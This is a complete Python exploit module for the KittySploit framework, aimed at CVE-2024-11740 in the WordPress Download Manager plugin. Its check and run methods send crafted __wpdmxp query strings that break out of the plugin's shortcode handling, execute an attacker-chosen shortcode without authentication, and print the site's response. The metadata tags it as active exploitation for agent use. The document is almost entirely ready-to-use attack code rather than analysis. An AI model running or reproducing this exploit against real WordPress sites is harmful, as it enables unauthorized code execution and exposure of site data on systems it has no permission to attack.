WP Download Manager Shortcode RCE (CVE-2024-11740)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Download Manager shortcode execution (CVE-2024-11740)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'WP Download Manager Shortcode RCE (CVE-2024-11740)',
        'description': (
            'Exploits CVE-2024-11740 in WordPress Download Manager <3.3.04: unauthenticated '
            'arbitrary shortcode execution via __wpdmxp query parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-11740'],
        'platform': Platform.MULTI,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-11740'],
        'tags': ['wordpress', 'wp-plugin', 'shortcode', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_11740_detect']},
        },
    }

    shortcode = OptString('[wpdm_all_packages]', 'Shortcode to execute', required=False)

    def check(self):
        path = "/?__wpdmxp=%27][/wpdm_package][wpdm_all_packages][wpdm_package%20id=%27"
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and 'wpdm-all-packages' in body:
            return {'vulnerable': True, 'reason': 'Download Manager shortcode injection confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Shortcode execution failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('WP Download Manager not vulnerable')
            return False
        sc = str(self.shortcode or '[wpdm_all_packages]').strip()
        encoded = sc.replace('[', '%5B').replace(']', '%5D').replace(' ', '%20')
        path = f'/?__wpdmxp=%27]{encoded}[wpdm_package%20id=%27'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        print_success((r.text or '')[:4000] if r else '')
        self.vulnerable()
        return True